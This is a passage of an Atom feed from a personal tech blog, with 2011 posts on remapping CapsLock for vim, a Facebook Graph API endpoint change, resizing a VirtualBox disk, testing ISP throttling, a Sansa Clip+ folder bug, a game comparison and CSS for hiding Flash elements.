&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;keycode &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;66&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = F13&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;66 is the internal code for the CapsLock key. We just define that pressing the
physical CapsLock key should trigger the F13 virtual key.&lt;/p&gt;
&lt;p&gt;Now, in &lt;code&gt;~/.vimrc&lt;/code&gt;, we will tell vim to explictly listen to extended F keys
(from 13 to 37) which it does not do by default.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;F13&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;^[[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;~&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;^[[25~&lt;/code&gt; is the special keyboard code sent to vim when the F13 key is triggered.
Here we just define that such a keyboard code should be interpreted in vim as an
&lt;code&gt;&amp;lt;F13&amp;gt;&lt;/code&gt; vim key.&lt;/p&gt;
&lt;p&gt;Now, you can use &lt;code&gt;&amp;lt;F13&amp;gt;&lt;/code&gt; in your custom vim mappings&lt;/p&gt;
&lt;h2&gt;Toggling normal/insert mode in vim&lt;/h2&gt;
&lt;p&gt;vim accepts two kinds of mapping. Those triggered in normal mode (using
&lt;code&gt;nnoremap&lt;/code&gt;) and those triggered in insert mode (using &lt;code&gt;inoremap&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Here we want that pressing CapsLock (or &lt;code&gt;&amp;lt;F13&amp;gt;&lt;/code&gt; in vim as we defined) in normal
mode will go to insert mode, like pressing &lt;code&gt;i&lt;/code&gt; does. And we also want to get
back to normal mode when pressing CapsLock in insert mode, just like pressing
&lt;code&gt;Esc&lt;/code&gt; does.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;nnoremap&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;F13&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt; i&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;inoremap&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;F13&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;Esc&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the &lt;code&gt;l&lt;/code&gt; after Esc. It is here to prevent the caret to move back one
character when exiting insert mode.&lt;/p&gt;
&lt;h2&gt;Fixing the shell&lt;/h2&gt;
&lt;p&gt;One last thing to fix is your shell. By defining in xmodmap that pressing
CapsLock would trigger an F13 event, it means that whatever software that react
on F13 will now react on CapsLock. Unfortunatly, zsh does react on F13. It
insert a &lt;code&gt;~&lt;/code&gt; character on it (just like it does with F12).&lt;/p&gt;
&lt;p&gt;To disable it, we&#39;ll simply define a key binding in &lt;code&gt;~/.zshrc&lt;/code&gt; so pressing F13
does nothing.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;bindkey&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&#92;e[25~&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here it is. You can now press CapsLock anywhere and it won&#39;t have any effect.
Plus, pressing it in vim will toggle insert/normal mode.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Getting the list of Facebook pending requests of a user</title>
    <link href="https://blog.pixelastic.com/2011/10/07/list-facebook-pending-requests-user/"/>
    <updated>2011-10-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/07/list-facebook-pending-requests-user</id>
    <content type="html">&lt;p&gt;Getting the list of pending facebook requests of a user a few weeks back was as
easy as calling
&lt;code&gt;https://graph.facebook.com/me/apprequests?access_token={user_access_token}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We discovered around the 1st October that some of our requests were failing in
production, without any more clue than some &amp;quot;OAuthException: access_token
invalid&amp;quot; messages in our logs.&lt;/p&gt;
&lt;p&gt;It appears that FB changed the way their endpoint react to &lt;code&gt;/apprequests&lt;/code&gt; call.
Of course, they didn&#39;t bother telling us.&lt;/p&gt;
&lt;p&gt;The previous url does not work anymore. Switching the user access_token to the
app access_token as documented does not work (as usual with FB documentation).
It returns an error.&lt;/p&gt;
&lt;p&gt;Instead, the following call wil yield the correct result:
&lt;code&gt;https://graph.facebook.com/{user_id}/apprequests?access_token={app_access_token}&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Increasing VirtualBox hard drive size</title>
    <link href="https://blog.pixelastic.com/2011/10/04/increasing-virtualbox-hard-drive-size/"/>
    <updated>2011-10-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/04/increasing-virtualbox-hard-drive-size</id>
    <content type="html">&lt;p&gt;While trying to import a huge (1.7Go) mysql dump file into my VM I was blocked
by mysql telling me that not enough space was left on the device to complete the
operation.&lt;/p&gt;
&lt;p&gt;As I was running a VM, I thought it would be a simple matter of increasing the
virtual hard drive size.&lt;/p&gt;
&lt;p&gt;Turns out it wasn&#39;t that simple. After much trial and error, here is how I
finally did it.&lt;/p&gt;
&lt;h2&gt;Creating a new hard drive&lt;/h2&gt;
&lt;p&gt;VirtualBox let you easily add new devices, such as hard drives to your VM. I
simply created an empty 120Go hard drive and booted my VM.&lt;/p&gt;
&lt;p&gt;Here, under Ubuntu, I cloned my current hard drive to the new one using:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; dd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; if=/dev/sda&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; of=/dev/sdb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fixing the guest partition&lt;/h2&gt;
&lt;p&gt;Once finished, I opened Gparted, selected &lt;code&gt;/dev/sdb&lt;/code&gt; and saw that I had 112Go
unallocated. I couldn&#39;t easily add them to the initial partition as a swap
partition was in the way.&lt;/p&gt;
&lt;p&gt;I finally decided to remove the swap partition and resize the initial one to the
(almost) complete size of the hard drive.&lt;/p&gt;
&lt;p&gt;I left 1Go free in case I ever needed to create a new swap partition later to
fix the one I deleted.&lt;/p&gt;
&lt;p&gt;Then, I closed the VM. Get back to VirtualBox panel and remove the original
drive, keeping only the new 120Go one.&lt;/p&gt;
&lt;p&gt;One reboot later, my Ubuntu was proudly displaying its 120Go.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Checking potential throttling from Orange</title>
    <link href="https://blog.pixelastic.com/2011/10/03/checking-potential-throttling-orange/"/>
    <updated>2011-10-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/03/checking-potential-throttling-orange</id>
    <content type="html">&lt;p&gt;Starting a few weeks back, we started having painfully slow ssh connections at
work. Our servers are hosted on the &lt;a href=&quot;http://www.softlayer.com/&quot;&gt;SoftLayer&lt;/a&gt;
infrastructure, which are extended on all North American territory, but we are
based in France.&lt;/p&gt;
&lt;p&gt;We have fiber-optic connection here, almost every other connection is blazingly
fast. Except connections to our own servers...&lt;/p&gt;
&lt;p&gt;Call me paranoid, but the first idea we got was that we were being throttled by
our provider. Orange is infamously known for degrading on purpose connection
with some know hosts.&lt;/p&gt;
&lt;p&gt;A colleague was browsing through his own secure tunnel, going through his
personnal server for every outgoing communication.&lt;/p&gt;
&lt;p&gt;And his connection was as fast as it should be.&lt;/p&gt;
&lt;p&gt;That made us wonder. How a tunneled connection could be faster than a normal
one? The cost of crypting data should have slow the request down. It had the
opposite effect, rendering the request in the expected time.&lt;/p&gt;
&lt;p&gt;I created a garbage file using the following code and used &lt;code&gt;scp&lt;/code&gt; to send it from
one server to another, to test bandwith.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; if=/dev/zero&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; of=garbage.bin&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bs=100000000&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; count=1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing interesting came out of it. I had a impressivly fast connection between
our fiber connection and OVH (up to 50Mb/s) and slow connection to SoftLayer.&lt;/p&gt;
&lt;p&gt;So, for the time being, I&#39;m connecting to SoftLayer through OVH and even if it
made me use one more tunnel, it is still far more fast than a direct connection.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Sansa Clip+ folder merging issue</title>
    <link href="https://blog.pixelastic.com/2011/09/22/sansa-clip-folder-merging-issue/"/>
    <updated>2011-09-22T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/09/22/sansa-clip-folder-merging-issue</id>
    <content type="html">&lt;p&gt;I own a [Sansa Clip+](http://anythingbutipod.com/2009/08/sandisk-sansa-clip-
plus-review/) as my mp3 player. It&#39;s really small, has great audio quality and
combined with a 32Go microSD card plus the internal 8Go, it&#39;s enough to hold
almost all my music library.&lt;/p&gt;
&lt;p&gt;As with any mp3 player realeased nowadays, you can browse your files using mp3
tags. I don&#39;t really like it and feel limited in my browsing. As I&#39;m listening
to a lot of movie soundtracks I have a pretty long list of artists with only one
song attached.&lt;/p&gt;
&lt;p&gt;Fortunatly, the Sansa also allows you to browse by folders, which is rare enough
to be highlighted.&lt;/p&gt;
&lt;p&gt;So far so good. Except that I&#39;ve discovered a little bug a few days ago in the
way folder navigation is done.&lt;/p&gt;
&lt;p&gt;I had two folders named &lt;code&gt;Soundtrack - Games&lt;/code&gt; and &lt;code&gt;Soundtrack - Movies&lt;/code&gt;. Each
were holding a dozen albums. In each of those folders I had subfolders sharing
the same prefix, like &lt;code&gt;Hitman Contracts&lt;/code&gt;, &lt;code&gt;Hitman Blood Money&lt;/code&gt; or &lt;code&gt;Kill Bill&lt;/code&gt;
and &lt;code&gt;Kill Bill volume 2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When browsing my music folder on the Sansa I noticed that the
&lt;code&gt;Soundtrack - Games&lt;/code&gt; folder had disappeared. I check the SD card in my computer,
and it really was there.&lt;/p&gt;
&lt;p&gt;I finally discovered that all the &lt;code&gt;Sountracks - Games&lt;/code&gt; content had been merged
in &lt;code&gt;Soundtracks - Movies&lt;/code&gt; resulting in one big directory instead of two smaller
ones.&lt;/p&gt;
&lt;p&gt;My second discovery was that all my &lt;code&gt;Hitman&lt;/code&gt; sub folders were also merged into
&lt;code&gt;Hitman Contracts&lt;/code&gt;, and my &lt;code&gt;Kill Bill&lt;/code&gt; music was in &lt;code&gt;Kill Bill volume 2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It seems that when multiple directories shared the same prefix, all folders will
be merged in one whose name is the last in alphabetical order.&lt;/p&gt;
&lt;p&gt;I&#39;m not the only one in this case, I saw a similar report on Sandisk forums, but
the bug seems erratic. Folders does not always get merged if sharing a prefix.&lt;/p&gt;
&lt;p&gt;As a temporary fix, waiting for a regular fix in a firmware update, I&#39;ll update
my folder tree to use &lt;code&gt;Soundtracks/Games/Hitman/Contracts&lt;/code&gt; and
&lt;code&gt;Soundtracks/Movies/Kill Bill/Volume 1&lt;/code&gt; but this is far from optimal.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Red Dead Redemption Vs Tales of Phantasia</title>
    <link href="https://blog.pixelastic.com/2011/09/17/red-dead-redemption-tales-phantasia/"/>
    <updated>2011-09-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/09/17/red-dead-redemption-tales-phantasia</id>
    <content type="html">&lt;p&gt;&lt;em&gt;Disclaimer: I usually post about technical web stuff, but this time I&#39;ll
digress and share my thoughts about two games I&#39;m currently playing. Feel free
to skip reading this text if you&#39;re not interested in my inner gamer voice.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I started Red Dead Redemption on my PS3 a few weeks ago. I also play Tales of
Phantasia on my Dingoo on my way to work and back home everyday.&lt;/p&gt;
&lt;p&gt;Those two games are very different, almost completly different, but in a way, I
can&#39;t stop comparing one to the other.&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;Red Dead Redemption is a &amp;quot;next generation&amp;quot; game, with great graphics, motion
capture, voices, and so on. It is a free roaming game, a GTA like, made by
Rockstar game. Instead of sandboxing in a big city with your car, you&#39;re
sandboxing in the far west with your horse.&lt;/p&gt;
&lt;p&gt;Tales of Phantasia is one the latest JRPG released on the SNES. It is in the
direct vein of gems like FF6 or Secret of Mana. Big story involving saving the
world, defeating bosses, gaining experience, learning new technics and magic,
etc.&lt;/p&gt;
&lt;h2&gt;Storyline&lt;/h2&gt;
&lt;p&gt;Being a free roaming game, RDR does not have a fixed storyline. You can do
quests in different order, depending of the people you run into. Of course, some
parts of the main storyline only unlock themselves when a set of missions are
finished. There is also a lot of sidequests, given by NPC randomly popping. It
gives a general impression of freedom and self-living world. You can easily play
for one hour, doing one or two missions.&lt;/p&gt;
&lt;p&gt;The main character, John Marston, is not very talkative, so you don&#39;t know much
about him. I haven&#39;t finished the game yet but I expect its story to be revealed
the more and more I play. As a side effect, I don&#39;t really feel close to John,
it only is my avatar in the game, and I help him. I feel more like watching a
movie than playing a game.&lt;/p&gt;
&lt;p&gt;Tales of Phantasia is way more classic. You are the son of one of the four
warriors that saved the world decades ago. The evil magician Dhaos that your
parents defeated is now back on course and its your duty to fight him and defeat
him once again. You start as a simple boy, win experience and battles, meet
people and learn more about what your parents did.&lt;/p&gt;
&lt;p&gt;There is a certain amount of freedom in the way you can explore the world map
and go to places where the scenario didn&#39;t yet ask you to go. Nothing to compare
to RDR of course, but in a game of this time, you appreciate it. There are no
invisible walls telling you &amp;quot;You can&#39;t go there&amp;quot;, only signs suggesting that
&amp;quot;This area is for the more experienced&amp;quot;.&lt;/p&gt;
&lt;p&gt;I only have played a couple hours so far, but I like the way the story is told.
People that have known your parents told you what they did, who they were, where
they&#39;ve been, etc. The story is still following the rails of the scripted
scenario but does so in an elegant way.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: The previous JRPG I played, Final Fantasy, was waaaaay more strict on its
storyline order, so my appreciation of Tales of Phantasia might be biased due to
the comparison.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Graphics&lt;/h2&gt;
&lt;p&gt;RDR takes advantage of the PS3 power. All characters are animated using motion
capture and voiced dialogs, making the world seem real. Animation are still a
bit sluggish at time, and always done directly in the game engine. It keeps
consistency, but the engine seems a bit dated.&lt;/p&gt;
&lt;p&gt;I usually am a PC player, I&#39;ve played Bioshock and Crisis when they came out in
maximum quality, so I&#39;m not easily impressed by graphics rendering. The only
game on the PS3 that impressed my was Uncharted 2 and RDR is absolutly not up to
that standard. RDR is like most of the games I&#39;ve played on PS3. It has &amp;quot;honest&amp;quot;
graphics: not ugly, but nothing breathtaking either.&lt;/p&gt;
&lt;p&gt;LOD handling is pretty bad in my opinion. When riding your horse in the desert,
grass and bushes flashes in view from simple LOD to fully detailed in a split
second. It defeat the whole purpose of LOD in my opinion, which should be done
using a smooth transition between the two.&lt;/p&gt;
&lt;p&gt;Also, during cutscenes, when the camera change angle (moving from a close shot
to John, to a shot to the person he&#39;s talking to for example), the LOD kept
flashing. Everytime the camera change, you see the building in the background
displayed as big blocks of colors then fully detailed, and on the next camera
change you got them again from big block to details, even if they are the same
building in the two shots. All that goes very fast, but I kept noticing it.
Worse, sometimes buildings are exactly on the limit between rough and detailed
so they kept flashing from one to another.&lt;/p&gt;
&lt;p&gt;Overall, I&#39;m not satisfied with RDR graphics. They definitly are not ugly but
are just above average and this is not RDR strong point.&lt;/p&gt;
&lt;p&gt;One can wonder how I can even compare a full 3D game with an old 16bit RPG. I am
not comparing the two, I&#39;m comparing each one to what the standard are for the
machine they are running.&lt;/p&gt;
&lt;p&gt;Tales of Phantasia is the more detailed RPG I&#39;ve ever played on a 16bit console.
The attention to detail is amazing. Each house, each city is fully detailed.
There are fires burning in the chimneys, flowers on the tables, painting and
cracks on the walls, carpets on the floor, etc. No two houses are the same, and
the furnitures placed in each are done so in a logical way: the exact number of
beds for the people living in a house, no house without kitchen, etc.&lt;/p&gt;
&lt;p&gt;For a 16bit game, I must say I&#39;m impressed. There are details everywhere, from
hanging ropes in boats to patch of flowers and rocks on roads, it is really
refreshing. When visiting a boat, the screen moves to emulate the rolling of the
waves. This is no big deal but this is kind of details I appreciate.&lt;/p&gt;
&lt;h2&gt;Shopping UI&lt;/h2&gt;
&lt;p&gt;One thing that strike me as odd is how hard it is to sell goods in RDR. When
speaking to a merchant, you can select goods you wish to sell and press X to
sell them. If you have multiple goods of the same kind, you can select a few or
all at once. The strange thing is that you can&#39;t select different goods at once,
you have to do it one by one (and you usually have a lot of different goods
coming from skinning various animals).&lt;/p&gt;
&lt;p&gt;Worst, goods you sell do not disappear from the list, they are just marked as
&amp;quot;Sold&amp;quot;, you have to manually select the next in the list to proceed. And as the
list is more like a grid, you can&#39;t simply press down to sell the next item, you
have to select it in the list. To make it even a little more frustrating to use,
everytime you sell an item, a little animation is played, freezing your UI for a
second.&lt;/p&gt;
&lt;p&gt;Such an UI would never have passed quality insurance tests if the game had been
developped for a PC audience. I do not understand why crappy UI is considered
normal for console players.&lt;/p&gt;
&lt;p&gt;The shopping UI of Tales of Phantasia has nothing awesome but is just well
thought. Presented with a list of goods to buy you can select the desired
quantity of each, see the total amount and make adjustement regarding your
current cash level. You also see the current number of each item you already
own. As I said, nothing extraordinary, just really well thought and very
practical.&lt;/p&gt;
&lt;p&gt;Screen resolution and hardware power has absolutly no influence on the greatness
of UI here.&lt;/p&gt;
&lt;h2&gt;Music&lt;/h2&gt;
&lt;p&gt;RDR music is honest, there isn&#39;t any theme that get stuck in your mind after
playing, but the various ambiances are pleasant and strike our common imaginary
background of the far west.&lt;/p&gt;
&lt;p&gt;Tales of Phantasia music is also classical JRPG music, with some great songs,
but the important point here is that they managed to make wonder with the small
audio capabilities of the original console. Some music at some important points
in the story have digitalized voices. Yeah, really. This is not crystal clear
voices as a CD would allow today, but it is clear enough so you can recognize
the melody and words (well, if you understand Japanese...).&lt;/p&gt;
&lt;p&gt;Also, even if each city has its own theme, you sometimes encounter NPC in those
cities with their own themes, and the two musics blends into one other when you
approach the NPC. It is something common in today games, but the first time I
see it in a 16bit game.&lt;/p&gt;
&lt;h2&gt;Frustration&lt;/h2&gt;
&lt;p&gt;I have been very frustrated playing RDR. A lot of little things that add up and
degrade my playing experience. Here are some random rambling:&lt;/p&gt;
&lt;p&gt;I&#39;ve failed a large number of missions because I strampled over pedestrian while
galloping with my horse. In one mission, I was asked to save three horses from a
barn on fire. I saved the first two by slapping them on the back so they can go
out of the barn. For the last one, I had ride it and jump over the fire to get
out. I did just that and jumped out of the barn and got a &amp;quot;Mission failed&amp;quot;
screen. Wait, what?&lt;/p&gt;
&lt;p&gt;It appeared that I assaulted one of the farmers that was trying to help. This
dumbass was standing right in the spot where the mission asked me to jump, so
when jumping over the fire I ran into him and the game considered it an assault,
failed the mission and made me try it again.&lt;/p&gt;
&lt;p&gt;This isn&#39;t the only grudge I have with horse. There are a couple of weird stuff
occuring with the way horses are handled in the game. During a mission, one of
the NPC rode my horse instead of his own, so when I whistle my horse back,
another one came instead. As fast as my horse, but with a totally different
color.&lt;/p&gt;
&lt;p&gt;I once whistle for my horse that came galopping to me, running right past me and
went splashing in the river, dying instantly...&lt;/p&gt;
&lt;p&gt;Speaking of rivers, this is something really frustrating. Your character can&#39;t
swim, actually as soon as he got water above the waist, he drowns. Even on
horseback: water rise to your horse collar and your waist, and you drown. That
is both stupid and frustrating, dying for something that you absolutly can&#39;t
imagine the first time it occurs to you.&lt;/p&gt;
&lt;h2&gt;Funny story&lt;/h2&gt;
&lt;p&gt;On an other occasion, I saw two guys shooting a third one trying to escape. I
thought they were bandits trying to kill an innocent traveller, so I shot them.
Bad choice, they were deputies trying to kill a bandit... I lost some honor in
the process and the bandit turn back on me, trying to kill me after I saved him.&lt;/p&gt;
&lt;p&gt;A few hours later, same scenario. Two guys trying to kill a lone one. Based on
my previous experience I decided to kill the escaping bandit. I lost honor too.
It appeared it really were two bandits trying to kill a traveller this time...
Of course the two bandits didn&#39;t thank me and started shooting me. So I had to
kill them too.&lt;/p&gt;
&lt;p&gt;Third time, same scenario, two guys shooting a third fleeing one. This time I
decided to wait a little and hear what they had to say, to better understand who
they were and take side with the good guys this time. I didn&#39;t have time to
think too much, because a few seconds later the third guy was dead, killed by
the other two. And I lost honor too. Grrrr. They were bandits and I let them
kill him an innocent man.&lt;/p&gt;
&lt;p&gt;Last but not least I encountered those three guys one last time. This time I saw
that it was two deputies, asking me to help them capture the escaping bandit.
Ok, this time it was clear. I decided to catch the bandit with my lasso (getting
bounties alive gets you paid double). I catched him, but while I was tying him
up, the deputies started shooting me. Actually, they were shooting the bandit
but I was standing between him and them so I took a couple bullets. Once tied up
and lying on the ground, the deputies continued shooting him until he died...
Goodbye reward...&lt;/p&gt;
&lt;p&gt;And this is only one in the multiple stories I could tell about those random
encounters plaggued with less-than-average AI. It resulted in a lot of
frustration and some wtf moments.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;First of all, thank you to have read this pamphlet from start to end, as it
mostly was random rambling that I needed to get out. As a last word I might say
that I&#39;m impressed by the way Tales of Phantasia managed to push the boundaries
of the hardware, and managed to immerse you in its atmosphere through multiple
little details both in controls, music, graphics and story&lt;/p&gt;
&lt;p&gt;On the other hand, Red Dead Redemption is a game just above average. My general
gaming feeling was spoiled by a all those little overlooked details and glitches
that in the end kept frustrating me.&lt;/p&gt;
&lt;p&gt;In the end, both games are interesting in term of Game Design because you can
learn a lot from them. From Red Dead Redemption I&#39;ve learned a lot of small
details that must not be overlooked in term of UI and gaming experience to not
frustrate the player. From Tales of Phantasia I&#39;ve learned that all those little
details that you take care of add up and your players will thank you for it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Show and hide Flash elements without redraw</title>
    <link href="https://blog.pixelastic.com/2011/09/16/show-hide-flash-elements-redraw/"/>
    <updated>2011-09-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/09/16/show-hide-flash-elements-redraw</id>
    <content type="html">&lt;p&gt;Imagine you have a Flash element in your HTML markup. If you apply any
&lt;code&gt;show&lt;/code&gt;/&lt;code&gt;hide&lt;/code&gt; logic to it, the flash will be reset and played back to its first
frame.&lt;/p&gt;
&lt;p&gt;Actually, as soon as you change the &lt;code&gt;display&lt;/code&gt; property of an element, if forces
all inner Flash element to be restarted.&lt;/p&gt;
&lt;p&gt;There are a few ways you can work around that, and here are the two main I&#39;m
using&lt;/p&gt;
&lt;h2&gt;Your Flash file is in a tab&lt;/h2&gt;
&lt;p&gt;Fairly common scenario, you have tabs on your page (maybe using jQuery UI or a
custom code). When you display your Flash tab, all others are hidden, and when
you display another tab, the Flash one is hidden.&lt;/p&gt;
&lt;p&gt;Instead of using &lt;code&gt;display:none&lt;/code&gt; / &lt;code&gt;display:block&lt;/code&gt;, we&#39;ll be a little more sneaky
and not really &amp;quot;hide&amp;quot; the element, but simply put it out of the user view.&lt;/p&gt;
&lt;p&gt;Just apply the following CSS rule to the element you want to hide. It will just
display it offscreen.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.tabHidden&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  left&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;-9999&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;em&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don&#39;t forget to add a &lt;code&gt;position:relative&lt;/code&gt; to the HTML parent of your tab for the
absolute positionning to work.&lt;/p&gt;
&lt;h2&gt;You have multiple Flash files in a list&lt;/h2&gt;
&lt;p&gt;This one is trickier. Imagine you have a list of elements, and each row contains
a Flash file. You want to filter the list based on various criterias and only
show the rows matching.&lt;/p&gt;
&lt;p&gt;You can&#39;t use the previous technique here because some elements of your list
will be in relative positionning while others will be in absolute positionning.
And everytime you change the &lt;code&gt;position&lt;/code&gt; property of your element, the Flash will
be reset.&lt;/p&gt;
&lt;p&gt;The trick here is to play with your element dimensions and visibility. You can
change the &lt;code&gt;visibility&lt;/code&gt; without triggering a redraw. As this will only make the
element invisible but still taking space, you just have to put its &lt;code&gt;height&lt;/code&gt; and
&lt;code&gt;width&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; to make it effectively disappear.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.listElementHidden&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  visibility&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;hidden&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
